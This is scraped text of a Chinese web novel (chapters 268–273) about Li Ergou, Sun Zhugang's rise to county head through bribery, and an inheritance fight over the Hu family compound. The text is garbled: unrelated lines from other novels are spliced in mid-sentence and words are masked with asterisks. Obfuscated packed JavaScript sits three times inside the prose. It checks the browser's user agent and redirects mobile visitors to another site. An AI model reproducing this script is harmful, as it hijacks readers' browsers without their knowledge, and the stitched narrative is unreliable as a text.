张海龙此时脑子还是懵的,不过他还是觉得孙竹刚的建议非常好,责任一定要推到庄仁义身上。 “好,孙局长,我马上去写报告,这里就交给你了。” “放心吧,我一定处理好。” 孙竹刚忙完回到家时,严婆惜披着小花袄,里面只穿了一件红肚兜,满面红光,显得十分兴奋。 “你怎么还没睡?二狗兄弟呢?” “二狗兄弟等了你好大一会,见你总是不回来,这才刚走一会儿。” 孙竹刚还有事想和李二狗商议,没想到他走得这么急。 “走了?他去哪了?” “去省城了,坐车走的。”看孙竹刚一脸诧异,严婆惜又补充道:“他从省城就是坐车回来的。” “他走之前没说什么吗?” “说了啊,”严婆惜羞涩一笑,“他说我包的饺子很好吃,嘻嘻。” “没别的了?” “还说让你等他的好消息。” 李二狗连夜回到省城,到达时,天色已明。 “干爹,我想明天就回去了。” “这么快?静雯舍得吗?” 静雯一脸的不开心。 “我舍不得又有什么用?看他急得好像家里有吃奶的孩子一样。” 李二狗解释道:“医生说,胡老爷已经不行了,最多还能活一个星期,我想着尽快把他带回去。” “嗯,你这样做是对的,死也要死在家里。” “谢谢干爹理解,干爹,走之前我想去拜访一下夏主席,和他告个别。” 吴有德猜不透李二狗和夏瀚林告什么别,他们认识才两天,还需要告别吗?但他没有问。 “去吧,要不要我陪你一起去?” “不用,我自己去就行。” 吃完早饭,李二狗和静雯回到房间。 “二狗,你昨天是不是回江东了?” 李二狗知道瞒不住静雯,因为自己不会开车,开车的司机是静雯的人。 “刚要和你说的,我回去办了件大事,我的一个结拜大哥就要当江东县县长了。” “就是你前两天和干爹说的那个人?” “对,他现在是警察局局长。” “那江东县现在的县长怎么办?” “他已经找阎王爷报到去了。” “啊!”静雯惊诧不已,“你做得?” “当然不是!我怎么会杀人呢?哈哈。” “二狗,我总觉得你神神秘秘的,很多事情都不和我说。” “静雯,很多事不是我不告诉你,而是我觉得没有必要告诉你,你相信我,我都是为了你好。” “你要真是为了我好,那你就快点来省城,你都不知道,我一个人晚上经常做噩梦,好想那时候有你陪在我身边。” 李二狗抱着静雯,安慰道:“再给我一些时间吧,那边还有好多事,一时半会儿还处理不完,不过我答应你,以后每个月都来省城看你好吗?” “真的吗?” “当然是真的,我什么时候骗过你?等我下次来省城的时候,我要学会开汽车,学会了就买一辆汽车,以后来省城看你也方便。” “二狗,你真好,我爱死你了。” 两人情不自禁地抱在一起,滚在床上,木床很快就传出“吱呀吱呀”的声音。 李二狗来到省政府。 “你找谁?” 门口的警察不认识李二狗,不让他进。 “我是吴公馆吴有德的干儿子李二狗,找你们夏主席有要事相商。” 一听到吴有德的大名,警察的态度立马好了起来。 “您稍等,我给里面打个电话。” 打完电话,警察客气地说道:“夏主席正在开会,他让您先去会客室等他。” 李二狗趾高气扬地走进了省政府。 第268章 夏主席您英明 李二狗在会客室的沙发上枯坐了足有半个时辰,正当他心焦时,一个穿着中山装的年轻人推门走了进来。 那人约莫二十岁出头,鼻梁上架着一副金丝眼镜,脸上没有什么表情,说话却非常客气。 “李先生,夏主席请您现在过去。” “谢谢。” 李二狗连忙起身,跟着他穿过狭长的走廊。 来到夏瀚林办公室门口,秘书抬手轻轻地敲了几声房门,得到允许后才推门进去。 “夏主席,李先生来了。” 夏瀚林正伏在一张宽大的办公桌上,鬓角的白发在日光灯下泛着银光,听到声音,他才缓缓抬起头。 “二狗啊,等着急了吧?” 夏瀚林的声音带着一些沙哑,他并没有起身,只是指了指斜对面的沙发,眼角的皱纹里挤出几分笑意,却掩饰不住眼中的疲惫。 “坐吧。” 李二狗态度极其恭敬,笑道:“夏主席,没耽误您正事吧?” 说着他欠着身子坐在沙发上。 “二狗,咱们是自己人,不存在什么耽不耽误。我刚才开了一个紧急的会议,才耽误了一些时间。”夏瀚林说道,“毛秘书,看茶。” 毛秘书给李二狗倒了一杯热茶后便及时退了出去。 “夏主席,我今天来是特地向您告别的,明天一早我就回江东了,以后您有什么吩咐,我和静雯一定会竭尽全力。” “回江东?”夏瀚林听到“江东”两字,端着茶杯的手猛地一抖,滚烫的茶水溅在手背上,他却浑然不觉,“你说你回江东?” “是啊,夏主席,我家就是江东县的。” “你们县长是王正直?” 李二狗脸上露出恰到好处的惊讶。 “是啊,夏主席您认识我们王县长?” 夏瀚林重重地叹了一口气,往后靠在藤椅上,椅面发出“吱呀”一声轻响。 “王正直先前在省政府秘书处工作,去年才调到江东县任县长,谁能想到这才短短一年多的时间他竟……哎!” 李二狗瞪大了眼睛,语气里满是错愕。 “夏主席,王县长他怎么了?” “昨天夜里,他和汤司令部下的一个军需官,双双死在他的办公室里,今天早上刚收到的电报。” “啊?”李二狗猛地从沙发上弹起来“这……这怎么可能?凶手抓到了吗?” 夏瀚林摆了摆手,又叹了一口气。 “电报里说,汤司令的那名军需官性子暴烈,为筹集军粮的事和王正直吵翻了,两人拔枪互射,双双当场毙命。”他顿了顿,“不过依我看,这件事情没有这么简单!” 话虽如此,他却没有再说下去,办公桌上堆积如山的灾情报告和前线战报,早已让他分身乏术。 李二狗看夏瀚林对此事有所怀疑,这也在他的意料之中,他又快速回想了一遍这件事的整个过程,虽然有些奇怪,但没有纰漏。 你可能不相信,但绝对找不到任何疑点。 “汤司令今年给江东县派了好几次筹集军粮的任务,江东县正在闹饥荒,王县长夹在中间,确实很难做。” 夏瀚林虽然是省政府主席,手里却没有什么兵权,汤司令的部队在省内横行惯了,向来不把他这个文官放在眼里。 “现在的麻烦是汤司令那边绝对不会善罢甘休。”他站起身,踱到窗前望着院子里一棵光秃的老杨树,“江东现在又群龙无首,刚才开会吵了两个钟头,愣是没人敢去江东收拾这个烂摊子。” 李二狗低着头,过了半晌才抬起头,语气中带着几分犹豫。 “夏主席,我倒有个想法,就是不知当讲不当讲。” “二狗,你是江东人,情况比我熟悉。”夏瀚林转过身,目光落在他脸上,“有话但说无妨。” “我给您推荐一个人,就是我们江东县警察局局长,他叫孙竹刚,此人工作能力特别突出。”李二狗说得很慢,像是在斟酌词句,“同时在县里威信也很高,关键是他为人正直,就连我干爹吴爷都常说,孙局长是一个忠勇仁义之人。” 夏瀚林心想,江东的事情是刚才自己提起的,李二狗事前并不知晓,这话倒像是无心之言。 “孙竹刚?吴爷也认识这个人?” “是啊,吴爷常说,江东县社会治安能如此稳定,多亏了有孙局长镇着。” 夏瀚林没再说话,背着手在屋里踱来踱去。 江东县如今就是一个火药桶,汤司令的部队虎视眈眈,很可能会报复,灾情又如此严重,稍有差池便可能哀鸿遍野、血流成河。 他停下脚步,神情严肃地望着李二狗。 “二狗,此事关系重大,可不是闹着玩的,你和我说实话,你真了解孙竹刚这个人吗?他真靠得住?” “夏主席,我跟孙局长打过好几次交道。”李二狗往前倾了倾身子,“他是一个能干事又肯干事的人,我相信他一定能带领江东的干部群众挺过这一难关。” 夏瀚林沉默片刻,突然走到办公桌前。 “好,那我就任命孙竹刚为江东县县长,希望他能不负众望,带领江东父老渡过这一难关!” “夏主席您英明啊。”李二狗忍不住冲着夏瀚林竖了一个大拇指。 夏瀚林之所以任命孙竹刚为江东县县长,并不是因为李二狗说的什么他工作能力突出,为人正直。 一来是因为江东目前深陷漩涡,省政府无人愿意前往江东县任职。 二来是想卖吴有德和李二狗一个面子,尤其是吴有德,上次因为汤司令征集军粮,他迫不得已只能低价收购吴有德贸易行的粮食,夏瀚林一直有心想找机会弥补弥补。 夏瀚林解决了江东县的问题,心情也好了起来,他笑着说道:“二狗啊,你也不要拍我马屁,如果孙竹刚不堪重用,误了大事,我可要找你算账。” 李二狗笑道:“夏主席请放心,我相信孙局长,奥不对,是孙县长,他一定不会辜负您的厚望。” 夏瀚林呵呵一笑,说道:“回去告诉吴爷一声,改天我再去拜访他。” 第269章 江东县政府被包围 第二天,静雯派了一辆车,李二狗带着胡士高回到胡家大院。 胡士高离开胡家大院已有近一年的时间,再次回来,已经瘦成了皮包骨头。 张二驴叹息一声:“狗哥,老爷怎么瘦成这个样子?我都快认不出他了。” “别废话了,快把老爷抬进屋,再让人去告诉大奶奶、二奶奶一声。” 张二驴把胡士高从车里抱出来,就像抱着一只瘦巴巴的小猪崽。 胡士高已经完全失去意 威廉娜娜的拒绝差点气死了一屋子的族老,所有人都难以置信的看着她。 「爷爷,他羞辱我我,要我去哄他开心什么的,说些下流的话来羞辱我,还说不怕我们,还伤我朋友,他罪该万死!」千艳前几句说的时候娇弱无比,但是最后一句罪该万死却又强硬的不能再强硬。 他在河里找了好一会了,两个孩子的影子都没看到,这下可怎么办? “没娘,你就放心好了,这场瘟疫确实是鼠疫,既然我敢来这里就是已经做好了完全的准备的。”江九月拍了拍默娘的的手,安慰道。 御千澈不敢去想,他生怕自己抱了太大希望,等到失望的时候,会徒增无尽痛苦。 叶沁突然想到,之前他们一直认为凶手在等着闯关的人,凡是闯第五关的人都是他的目标,可是如果他等的是特定的人,他的第五关是为特殊的人所准备的呢?那是不是说他是有目的的杀人,而不是随机的杀人呢? 桑玥从来没有对她下杀手,她能做到忽视这份亲情,把桑玥当成真正的敌人吗? 奔行中的铁骑,随着关羽傲然的声音落下,迅速的变换着阵形,不多时,左边虎翼阵,右边龙腾阵,组成的两个强大的巨阵,好似幻化成山中猛虎与北海蛟龙一同出来,一以劈波斩浪之势狂啸着扑向鲜卑大军。 刘备大喜,扶起黄忠,以美言说之,黄忠大悦,众人见得了华佗,又得了黄忠,都是十分欢喜,赵栩更是激动。歇息不一日,众人即动身前往会盟。 飞鹰在对OS进行覆盖和调整,但要调整的并不只是那巨大的战术装甲,同时需要调整的也还有幻痛本身,几分钟的时间一晃而过,机体的屏幕中也出现了新的画面,一整个战术装甲的平面示意图出现在了屏幕上。 “你来魔塔的目的是什么?你又为何这般心狠?”魔七继续对着独孤血的背影咆哮质问道。 说着董奉来到春风身前,拿出十余根银针,顺着穴位便扎下去。接着手一拂银针,肉眼可见的银针不断颤抖着。 她和风司夜明明都已经结束了,可真正的要彻底结束的时候,夏棉才知道,想要做到,真的很难。 混元枪一出,苍穹变色,四周空气都仿佛在沸腾一般,层层白雾在赵诰周身缓缓升起。 章·阿格林咳嗽着拦在面前,自从中了使徒长老的两掌后,他的身体似乎变得越来越糟糕了。不过要撂倒这些毫无实力的普通人,他还是办得到的。 只是不远处那只受伤的大蛇,在看到夜璃殇这肆无忌惮的模样之后,恨不得马上冲过去,一口将其吃掉。 沈天钧立即转头看向沈凌舟,脸上带懊悔,手中不禁捏起了冷汗。 “你应该有注意到我府上有挂着一幅图吧,其实那幅图就是神殿。那是我父亲十年前传递给灵城的元瑶大人手中。让其送回我家。”亚索说道。 “可可。”看着衣衫不整哭哭啼啼的王可可,王武内心那叫一个痛,虎落平阳被犬欺,一朝跌倒站不起,这说的正是他。 第270章 孙竹刚言退“雄兵” 对于贾文明来说,他根本不关心庄仁义的死活。 他之所以亲自带队并表现出如此愤怒的态度,完全是为其实现个人意图造势。 孙竹刚作为敲竹杠的高手,自然对他的意图心知肚明。 贾文明翘着二郎腿,似笑非笑地看着孙竹刚。 “好,那我就给你一次机会,孙县长,如果你不能给我一个合理的解释,休怪我不讲情面。” 孙竹刚对此早有准备。 “贾部长,汤司令前段时间给江东县下达了筹集三十万斤军粮的任务,由于前任县长王正直的无能,再加上江东本次灾情确实严重,到目前为止只筹集到一万斤军粮。” “庄主任和王县长因为此事产生冲突,继而两人拔枪相向,双双殒命。” “可这都是他的个人行为,和江东县政府无关啊,还望贾部长回去之后和汤司令说明其中缘由。” “堂堂江东县县长,竟然连三十万斤军粮都筹集不到,确实是废物,只是不知道孙县长是不是也和他一样?” 贾文明说完,鄙夷地看了孙竹刚一眼,仿佛在质问他:王正直是废物,难道你就不是废物吗? 孙竹刚依然保持着一副谄媚的笑容,迎着贾文明的目光。 “贾部长,我们江东县虽然困难,但支持部队打仗是我们义不容辞的责任,你们打仗也是为了我们百姓,我们要是不全力支持,那不成白眼狼了吗?” 贾文明一脸严肃。 “孙县长是个明白人呐,你说得太对了,我们就是为了让老百姓过上好日子才在战场上抛头颅洒热血,兄弟们把脑袋别在裤腰带上,就想吃口饱饭,这个要求过分吗?” 孙竹刚也是一脸严肃,差点流下几行热泪。 “贾部长这份拳拳爱兵之心着实令人感动,请您放心,我一定想尽一切办法筹集军粮,哪怕我们江东老百姓三天不吃饭也要把粮食省下来支援部队。” “孙县长,你让我很感动啊,我相信你,汤司令那里我会尽力去周旋。” 贾文明顿了顿,“不过军中无戏言,话说出来容易,关键还是看你的行动。如果到时候你要是完不成任务,汤司令的脾气你是知道的,不仅得枪毙你,我都会受牵连。” “谢谢贾部长,请您放心,我们江东老百姓宁可饿死也一定会把军粮尽快凑集。” 孙竹刚说完故意看了看贾文明身后的两名卫兵。 “贾部长,有些话我想单独向您汇报,您看是不是……” 贾文明心想,孙竹刚这个人倒是很懂得套路,怪不得能无缝衔接地接任县长,确实有两把刷子。 贾文明向身后摆了摆手,说道:“你们两个出去等我。” 两个卫兵走后,孙竹刚赶忙走到办公桌前,从抽屉里拿出一个精致的黄色小盒子。 “贾部长,感谢您为我在汤司令面前美言,无以为报,这是五根金条,请您笑纳。” 贾文明终于露出了难得的笑容。 “孙县长你太客气了,咱们都是为了公事嘛,你这样我怎么好意思呢?哈哈。” “贾部长,鄙人刚到江东,很多工作还没有理顺,以后麻烦您的地方还有很多,还请您以后多多关照江东,请贾部长放心,我一定不会忘记贾部长对我们江东的关爱。” “哈哈,孙县长,咱们是朋友嘛,能关照你们的地方我自然会关照。” 昨晚李二狗和孙竹刚分析过,汤司令的部队之所以屡次给江东县下达征集军粮的任务,他猜测是因为王正直没有打点好军中关系。 全省这么多县,为何只揪着江东县不放?每次征粮任务都有江东县。 孙竹刚认为李二狗的分析非常对。 “贾部长,不瞒您说,我们江东今年的灾情确实非常严重,百姓被饿死的不在少数,等筹集完这次军粮,你看以后再筹集军粮的时候能不能适当地照顾一下我们江东?” 贾文明没有表态,不表态就意味着不同意。 “贾部长请放心,我们肯定不会让您为难,以后每个月给您一百块大洋,您看这样可以吗?” 贾文明没有说话,他故意咳嗽了两声,有意无意地伸出两个手指头。 军中的腐败,孙竹刚有所耳闻,但他也没想到贾文明胃口竟如此大。 不过两百块大洋又不是他自己出,为了自己的前途,他没有不答应的道理。 “贾部长,就按您的意思,每个月两百块大洋,您看可以吗?” 贾文明没想到孙竹刚办事如此敞亮,很对他的胃口。 “孙县长,我在来的路上也看见了,你们江东县的灾情确实很严重。你放心,等你们完成这次三十万斤军粮的任务,我会亲自向汤司令汇报,以后尽量少向你们江东下达征粮任务。” “实在是太感谢贾部长了,今晚别走了,我一定要好好敬您一杯。” 贾文明正色道:“孙县长不必客气,我还有军务在身,不便饮酒,你抓紧把军粮筹集到位,尽快送到部队,我也好向汤司令交代。” “贾部长严于律己、恪尽职守,鄙人实在是佩服至极啊,请您放心,我保证三天之内,一定把三十万斤军粮送到部队。” “孙县长办事我很放心,那好,我就告辞了,”贾部长站起身来,把小盒子装在口袋里,“那就多谢孙县长了。” “应该是我感谢贾部长才对,我代表江东父老感谢贾部长对我们无私的支持。” “哈哈,孙县长,后会有期。” “贾部长,我送您。” 贾文明带着部队撤离了江东县。 孙竹刚独自一人言劝贾文明退兵,拯救了整个县政府的人,大家对孙竹刚无不心服口服。 “孙县长实在太厉害了,仅凭一张嘴就让汤司令退了兵。” “古有诸葛亮舌战群儒,今有孙竹刚言退雄兵。” “跟着这样的好县长,咱们以后有奔头了。” “孙县长当县长,是咱们江东百姓之福啊。” …… 听着大家的恭维之词,孙竹刚知道,自己在江东已经站稳脚跟。 第271章 不能让我士高侄子走得这么憋屈 胡士高回到家后的第三天就一命呜呼了。 “二狗,胡士高现在已经**,胡家大院终于是咱们的了。” 于兰芝躺在李二狗怀里,一张俏脸红扑扑的,刚才的温存让她有些意犹未尽。 “兰芝,胡氏家族在仙人洞的势力根深蒂固,咱们目前还是先保持现状吧。” “保持现状?你就忍心让梦瑶一直姓胡?” “如果现在让她改姓李,你知道意味着什么吗?” 于兰芝不服气地问道:“意味着什么?” “所有的人都会知道咱俩的关系。” “知道又能怎么样?胡家大院的事还由不得别人说三道四。” “兰芝,你糊涂啊,胡士高的二叔、三叔还有他们的儿子哪个是善茬?如果我分析的没错,他们明天肯定会来找茬。” “找茬?应该不会吧,老爷以前活着的时候,和他们之间也并没有多少来往。” 胡士高的爷爷那一辈家里穷的叮当响,兄弟三人分家的时候每人只分到两亩薄地,胡家大院现在的产业都是胡士高的爹胡扒皮挣下的。 他二叔胡世仁,三叔胡汉三都是在胡扒皮的帮扶下才混成小地主,但他们好吃懒做、不学无术,就像寄生在胡家大院身上的寄生虫一般,所以胡士高在掌控胡家大院之后不久便和他们彻底断绝了往来。 胡士高活着的时候,胡家大院势力庞大,胡世仁、胡汉三虽有怨言,却不敢越雷池半步。 但对于胡家大院庞大的家业,他们一直垂涎三尺。 “兰芝,你想一想,胡士高是单传,并没有兄弟姐妹,如今也只有胡福和梦瑶两个子女,但胡福不仅痴傻,而且身份早已是公开的秘密,梦瑶又是女孩子,我担心那些人会觊觎胡家大院的家业。” “他们敢?老娘还在呢。” “所以咱们更得小心谨慎行事,如果被他们抓住把柄,后果将不堪设想。” 于兰芝被李二狗的一番话吓住了。 “二狗,以前一直以为他**,咱们就可以光明正大的在一起,可现在他**,咱们还是不能在一起,这种日子什么时候才是个头啊?” “兰芝,再忍一忍,总会有办法的。” 李二狗嘴上说着有办法,其实他心里也是一团乱麻。 即使真的可以和于兰芝光明正大的在一起,他愿意吗?**那里怎么交代? 想到这,李二狗就头痛欲裂,他只能暂时拖延下去。 李二狗和于兰芝商议之后决定,不大操大办胡士高的丧事。 “让开!敢挡老子的道!岂有此理,你知道老子是谁吗?” “我不管你们是谁,都不能闯进去!” 李二狗看到一群人闯进胡家大院,张二驴拦都拦不住,领头的正是胡世仁。 “二驴,休得无礼,这是胡家二太爷、三太爷。” 李二狗见过胡世仁和胡汉三几面,赶忙迎了上去。 “二太爷、三太爷,里面请。” “哼!李大管家还认得我们吗?我亲侄子出殡竟然没人来告诉我们,难道我们这个胡和胡家大院不是一个胡吗?” 李二狗心想,既然都是胡姓一家人,又不是亲朋好友,自然是不需要派人告知的。 “二太爷、三太爷请息怒,都是我的错,我们老爷是昨天晚上去世的,我正打算派人去两位老太爷府上告知的。” 胡汉三看了看院里面的布置,不满地说道:“我们老胡家就是再没落,也不至于如此寒酸吧?” 于兰芝从正厅走出来,说道:“二太爷、三太爷莫怪,我们老爷去世前特意交代过,如今世事艰难,不宜大操大办。” “呵呵,再怎么说咱们胡家大院在仙人洞镇也是首屈一指的人家,办的如此寒酸岂不让人笑话?” “二太爷说得倒是轻巧,真是不当家不知道柴米贵,总得先顾着活着的人吧?” “侄媳妇,胡家大院这么大的家业岂能办不起一场葬礼?我看你是舍不得花钱吧?” 于兰芝毫不示弱。 “二太爷,说到底这是我们胡家大院自己的事情,就不劳二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李二狗给于兰芝使了个眼色,然后又瞥了一眼自己身旁的张玲玉,于兰芝立刻心领神会。 “两位太爷,二老是不是年纪大了,记性不好?谁说我们老爷没有儿子,胡福不就是老爷的儿子吗?” “哈哈……哈哈……” 胡世仁、胡汉三等人都忍不住笑出声来,突然又意识到在这种场合笑出声来实在是不合时宜,马上又变回一副凝重的表情。 “侄媳妇,虽然咱们不常来往,但谁不知道胡福不是我士高侄子的亲儿子,你休要欺骗我们。” “是啊,二大爷说得对,怎么能让一个野种来继承我们胡家大院的家业呢?” “绝对不行!我们绝不答应!” 面对胡家众人的诘问和质疑,于兰芝突然跪倒在胡士高灵位前,呜呜地哭了起来。 “二太爷,三太爷,我们老爷尸骨未寒,你们作为他的亲叔叔怎么能往他头上扣屎盆子呢?胡福不是老爷的儿子,那为何老爷会一直留他待在胡家大院?我不允许你们这样糟践我们老爷的名声!老爷啊,您睁开眼睛看看吧,他们为了争夺您的家产,竟然连这种招数都用上了,这是欺负我们孤儿寡母啊!” 张玲玉见状,“嗷”的一嗓子,竟用身体趴到胡士高的棺材上。 “老爷,您要给我们娘俩做主啊,他们怎么能这么污蔑您和福儿呢,这以后还让我如何做人啊?我没法活了,我还是跟您去吧。” 说着,张玲玉从棺材上爬下来,作势就要用头撞向棺材,被一直在她旁边的李二狗一把拉住。 “二奶奶,您冷静一点,千万不要想不开啊,您这样做岂不是让亲者痛仇者快吗?” “人言可畏啊!李管家,你快松手,就让我下去陪老爷吧,总好过被人指指点点的好!” 胡世仁、胡汉三没想到于兰芝竟然承认胡福是胡士高的儿子,她不是一直和张玲玉势不两立吗? “好了,你们不要再演了,我绝不允许外姓人成为我们胡家的子孙。” 于兰芝义正词严地说道:“二太爷,说话要有证据,只要你拿出胡福不是我们老爷儿子的证据,我立马把他们母子赶出胡家大院。” 胡士高已死,再也没有证据能证明胡福不是胡士高的儿子。 “你……你……”胡世仁被于兰芝反驳的哑口无言。 “二太爷,我们老爷已经走了,我决不允许任何人再污蔑他,如果您是来送我们老爷最后一程,我们欢迎,如果有其他不可告人的目地,请恕侄媳不能接待!李管家,送客!” 李二狗走到门口,做了一个请的手势。 “二太爷、三太爷,请你们离开!” 胡豹上前一把抓住李二狗的衣领,叫嚣道:“你算是什么狗东西?主子说话哪有你狗奴才插嘴的份?” 张二驴见状,立马上前就要动手,被李二狗抬手制止了。 “目前在胡家大院,真正的主子只有我们大奶奶一个人,如果你们不想难堪,请速速离开,否则别怪我不给各位留情面。” 李二狗话不多,却很有分量。 看着门外一群虎视眈眈的家丁,胡汉三说道:“胡豹,把手松开。” “爹!” “把手松开!” 胡豹怒视李二狗,威胁道:“你小子给我小心点!” 说完就放开了李二狗,李二狗整整衣领,面带微笑地说道:“我等着!” “别让我找到证据,否则你们都得给我离开胡家大院!” 胡世仁放下一句狠话,便带着贤子贤孙们离开了胡家大院。 于兰芝这才长舒一口气,愈加佩服李二狗的远见卓识。 一场节俭而又匆忙的葬礼结束之后,于兰芝正式成为胡家大院的掌舵人,也就意味着李二狗正式掌控了胡家大院。 张玲玉早就看清了形势,她紧抱李二狗的大腿,李二狗也没有亏待她,除了以前她经营的米铺之外,李二狗又把**以前经营的布铺交给她经营。 宋小曼以前经营的油坊被李二狗出人意料地交给念秋经营,这引起了于兰芝的怀疑。 “二狗,你和我说实话,你和念秋在省城是不是做了什么见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995556|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得人的勾当?” “兰芝,你脑子里天天都想些什么?” “那你为什么对她那么好?” “她一个人在省城照顾老爷将近一年的时间,没有功劳也有苦劳吧?像这样的人咱们不应该奖赏吗?” 于兰芝嘟囔道:“一个丫鬟让她去管理油坊,也太抬举她了。” 李二狗语重心长地说道:“兰芝,宋小曼现在不知所踪,油坊交给谁经营不一样?反正到年底大部分利润都得归大院所有。我们现在对念秋这样忠心耿耿的人好一些,其他人看在眼里,能不玩命地为胡家大院效力吗?” 李二狗一番教诲令于兰芝心服口服。 “二狗,你怎么懂得这么多?我真是爱死你了!” “你呀,没事多看点书吧。” 于兰芝羞涩一笑。 “二狗,我想给你生个儿子。” “你……被你气死!我呀,早晚死在你手里。” 冬去春来,本是万物复苏的季节,可旱情却没有得到丝毫缓解。 眼看着地里的麦苗变得枯黄枯死,佃户们成片成片地跪倒在麦地旁,手捧黄土,哀嚎遍野。 胡家大院的生计面临着严峻的考验。 前期储存的粮食几乎全部捐赠给了县政府和广佛寺,胡家大院的余粮已经所剩无几。 好在清风寨还有一些余粮,那是李二狗留着压仓底所用。 于兰芝对此心急如焚。 “二狗,要不然咱们还是辞退一些丫鬟和家丁吧?再这样下去,胡家大院真的撑不到今年秋天了。” 李二狗何尝不知道这个道理。 胡老太太和胡士高接连离世,**和宋小曼又先后离开胡家大院,现在确实用不了那么多丫鬟和家丁。 “兰芝,你想过没有,如果咱们辞退他们,他们离开胡家大院之后可能就会饿死,他们都在胡家大院伺候了很多年,你能忍心吗?” “可咱们现在每天的支出实在是太大了,粮食的价格又堪比黄金,再这样下去,咱们最后都得饿死。” “我再想想办法吧。” 第273章 胡福神秘失踪 “二狗,二狗……” 李二狗正独自坐在院里的一棵老杨树下发呆,张玲玉哭喊着跑了进来。 她扑到李二狗怀里,放声恸哭。 “二狗,你一定要救救福儿啊……” 李二狗不明所以,问道:“先别哭,少爷怎么了?” 张玲玉的眼睛已经哭得有些红肿。 “福儿不见了,一定是被人**了!” “什么时候不见的?” “今天早上,整个大院都找遍了,福儿他一个人从来不会离开大院的。” 李二狗抬头看天,太阳已经西斜。 “玲玉,你不要着急,我马上安排人再去找。” 李二狗担心的倒不是胡福被**,**是为了图财,肯定会有人来送信,可现在并没有收到勒索信。 他最担心的是害命! 胡福虽然是个傻子,可他现在是胡家大院唯一的继承人。 想到这,李二狗第一时间想到了胡世仁、胡汉三。 胡福失踪谁会受益,一目了然。 看到李二狗神情严峻,张玲玉失声问道:“二狗,福儿他不会有危险吧?” “少爷不会有事的,你先回去等我消息。” 李二狗吩咐张二驴再安排人把胡家大院重新搜查一遍,同时派更多的人去镇子里寻找。 一直找到天黑,仍然一无所获。 张玲玉哭得嗓子都哑了,胡福虽然是个傻子,但却是她的命根子,更是她的精神寄托。 “二狗,一定要找到福儿啊!” 面对众人,张玲玉竟跪在李二狗跟前,吓得李二狗赶紧把她扶起来。 “二奶奶,您放心,我再安排人出去找,一定会找到少爷的。” 李二狗纷吩咐两个丫鬟把张玲玉扶回自己院子。 “二驴,把搜索范围再扩大,镇子周边也要找,同时把消息散出去,谁能找到少爷或者提供少爷的线索,赏大洋二百!快去!” 张二驴领命而去,李二狗则直接上了清风寨。 “老三,你马上派几个兄弟到各个山寨,放出话去,谁**了胡家大院的胡福,马上把人放了,不然后果自负。” “胡少爷又被人**了?这次不会还是二奶奶在演戏吧?” “你少**扯淡,快去!” “现在吗?要不还是等到明天天亮吧?” 李二狗瞪着他没有说话,陈老三连忙改口。 “我这就去安排。” 李二狗回到家,**已经睡下了。 听到开门的动静,她警惕地问道:“二狗?” “是我,素文。” “你怎么这么晚来了?发生什么事了?” **语气中夹杂着掩饰不住的兴奋之情。 “胡福失踪了,我让老三去其他山寨打探打探消息,你别下床了,接着睡吧。” **已经披衣下了床。 “胡少爷怎么又失踪了?被土匪**了?” “目前还不清楚,按说土匪**会送勒索信,可胡家大院并没有收到信。” “不会是被人拐走了吧?” “素文,你傻了啊?这年月自己孩子都养不活,谁还会拐别人家的孩子?何况胡福还是个傻子。” “那能去哪里呢?仇家寻仇?寻仇也不该找一个傻子吧?” 经过**不断地发问,李二狗已经大体分析出是怎么一回事。 “素文,你先睡吧,胡家大院出了这么大的事情,我还得赶回去。” “这么晚了,要不你还是睡一觉明天早上再回吧。” 面对**渴望的眼神,李二狗也很想留下来,但整个胡家大院的男丁基本都派出去了,他实在是放心不下。 “素文,你先睡吧,今晚我没法睡了,明天我再回来。” **最大的优点就是听话识大体,遇事不吵不闹, “那你路上小心一点。” “乖,快点睡吧。” 李二狗摸了摸**的头,又在她额头上亲了一口,离开清风寨回到胡家大院。 派出去的人都没有回来,那就说明还没有找到人。 李二狗特意找到张二驴。 “二驴,今晚一定要提高警惕,防止有人趁机来胡家大院捣乱。” “放心吧,狗哥,今晚我亲自带队,一定确保胡家大院安全,你先去休息吧,这里交给我。” 李二狗拍了拍张二驴的肩膀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995557|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后来到张玲玉院里。 张二驴担心她出事,特意安排了两个丫鬟在院里看着她。 张玲玉正坐在屋檐下望着星空发呆,看到李二狗进来,并没有说话。 李二狗挥挥手,两个丫鬟便离开了。 李二狗在张玲玉身旁坐下。 “小时候听我奶奶讲,地上死一个人,天上就会多一颗星星,人死后会升到天空,变成星星给走夜道的人照亮儿,福儿最怕黑了。” 张玲玉眼泪汪汪地转头看向李二狗。 “二狗,你说天上的这些星星哪颗是福儿变的?” “玲玉,你别胡思乱想,少爷肯定会没事的。” “也许福儿本就不该来到这个世界,你知道吗?他生下来之后就不会啼哭,出生那天是个阴雨连绵的秋夜,屋外雷声滚滚,仿佛天地都在**他的降临。” “长到五岁福儿还不会说话,只会对着人笑,大家都说他是个傻子,可我不相信,可我不相信又有什么用呢?” “老太太嫌弃他,老爷也嫌弃他,几乎所有的人都嘲笑他,唯独我拿他当作珍宝一般珍惜。” 